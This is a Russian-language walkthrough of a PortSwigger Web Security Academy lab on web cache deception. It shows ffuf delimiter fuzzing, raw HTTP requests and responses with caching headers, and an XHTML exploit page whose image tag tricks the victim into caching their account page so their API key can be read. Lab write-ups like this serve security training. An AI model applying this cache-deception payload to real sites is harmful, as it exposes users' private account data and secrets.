Для прохождения лабы нужно найти API-ключи пользователя carlos с помощью Web cache deception.
Для входа в свою учетную запись можно использовать креды wiener:peter.
https://0a750077032ed4f682a6e83000eb0023.web-security-academy.net/
Solution
Залогинюсь в аккаунт.

Аккаунт находится по следующему пути — /my-account. Добавлю строчку bar для проверки, выдаст ли мне ту же страницу.

Ожидаемо, что нет. Попробую перебрать список разделителей, чтобы понять, какие из них подойдут. Для разнообразия воспользуюсь ffuf.
ffuf -w wordlists/webcache_delimeters.txt -u https://0a750077032ed4f682a6e83000eb0023.web-security-academy.net/my-accountFUZZbar -X GET

Предположу, что эти символы являются разделителями. Наиболее подходящим выглядит ;. Использую его:
https://0a750077032ed4f682a6e83000eb0023.web-security-academy.net/my-account;bar
Получил ту же страницу ответа. Добавлю расширение .css, чтобы проверить, будет ли ответ кэшироваться. Для этого удобнее смотреть Burp Suite.
GET /my-account;bar.css HTTP/2
Host: 0a750077032ed4f682a6e83000eb0023.web-security-academy.net
Cookie: session=qqr2NcH61DjJaM74YK4er7ewvpoSuduN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Заголовок ответа:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3833
Вижу в ответе X-Cache: miss и Cache-Control. Значит .css файлы кэшируются. Перейду в эксплойт сервер для создания нагрузки.
Так как я занимаюсь разработкой фишинговых нагрузок на работе, то мне не хочется использовать только .html и .js форматы. Поэтому вот вам немного флекса с XHTML:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Payload</title>
</head>
<body>
<img src="https://0a750077032ed4f682a6e83000eb0023.web-security-academy.net/my-account;pwned.css" alt="Pwn" />
</body>
</html>
При открытии файла происходит обращение по адресу https://0a750077032ed4f682a6e83000eb0023.web-security-academy.net/my-account;pwned.css для получения картинки. Но что-то идет не так, и данные пользователя кэшируются. Вот незадача. Файл называют expoit.xhtml, в Content-Type выставляю значение application/xhtml+xml. На сайте это выглядит вот так:

Отправляю запрос и проверяю страницу:

API-ключ получен. Проверю его в верификаторе:
